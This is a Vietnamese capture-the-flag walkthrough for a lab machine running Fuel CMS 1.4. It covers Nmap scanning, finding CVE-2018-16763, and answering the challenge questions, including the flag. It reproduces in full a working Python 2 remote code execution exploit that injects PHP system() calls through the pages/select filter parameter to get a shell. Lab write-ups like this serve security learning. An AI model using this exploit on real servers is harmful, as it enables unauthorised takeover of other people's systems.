![Screenshot 2024-02-23 235932](https://hackmd.io/_uploads/BkfUyLUnT.png) Sau khi Start Machine , ta được cung cấp một IP address , sử dụng Nmap quét đơn giản mục tiêu: `nmap 10.10.102.197` ![Screenshot 2024-02-24 000214](https://hackmd.io/_uploads/ryt2k8L2p.png) Máy chủ mục tiêu đang chạy 2 dịch vụ là ssh và http trên các cổng tiêu chuẩn.Truy cập qua browser ta được một trang web: ![Screenshot 2024-02-24 000429](https://hackmd.io/_uploads/Hy44lILhT.png) Let Answer the Questions! 1. *What is the name of the application running on the vulnerable machine?* Như ảnh bên trên ta thấy được name của application! *Answer: Fuel CMS* (một hệ thống quản trị nội dung mã nguồn mở) 2. *What is the version number of this application?* *Answer: 1.4* 3. *What is the number of the CVE that allows an attacker to remotely execute code on this application?* Các cơ sở dữ liệu về lỗ hổng phổ biến như [exploit-db](https://www.exploit-db.com/), thử tìm kiếm về Fuel CMS : ![Screenshot 2024-02-24 001231](https://hackmd.io/_uploads/HJ6ifI8n6.png) Ta có thể thấy một vài vul được report , xem một trong các report về RCE , ta được cùng một mã CVE là CVE-2018-16763 ![Screenshot 2024-02-24 001753](https://hackmd.io/_uploads/ryNOQ8U2T.png) *Answer: CVE-2018-16763* 4. *What is the value of the flag located on this vulnerable machine? This is located in /home/ubuntu on the vulnerable machine.* Sử dụng payload khai thác trên report này: ``` import requests import urllib url = "http://10.10.102.197" def find_nth_overlapping(haystack, needle, n): start = haystack.find(needle) while start >= 0 and n > 1: start = haystack.find(needle, start+1) n -= 1 return start while 1: xxxx = raw_input('cmd:') burp0_url = url+"/fuel/pages/select/?filter=%27%2b%70%69%28%70%72%69%6e%74%28%24%61%3d%27%73%79%73%74%65%6d%27%29%29%2b%24%61%28%27"+urllib.quote(xxxx)+"%27%29%2b%27" proxy = {"http":"http://127.0.0.1:8080"}// thay bằng IP của VM r = requests.get(burp0_url, proxies=proxy) html = "<!DOCTYPE html>" htmlcharset = r.text.find(html) begin = r.text[0:20] dup = find_nth_overlapping(r.text,begin,2) print r.text[0:dup] ``` On Linux, thực hiện tạo file `exploit.py` để lưu trữ và chạy payload viết bằng python trên: ![Screenshot 2024-02-24 002121](https://hackmd.io/_uploads/ryePEIL3T.png) ![Screenshot 2024-02-24 002139](https://hackmd.io/_uploads/rkmDVLU36.png) Do payload sử dụng cú pháp của python2 Chạy lệnh khai thác sau : `python2 exploit.py -u http://10.10.102.197` And bunmmm , i get a shell , sau khi thực thi một vài lệnh ta thu được flag! *Answer: THM{ACKME_BLOG_HACKED}*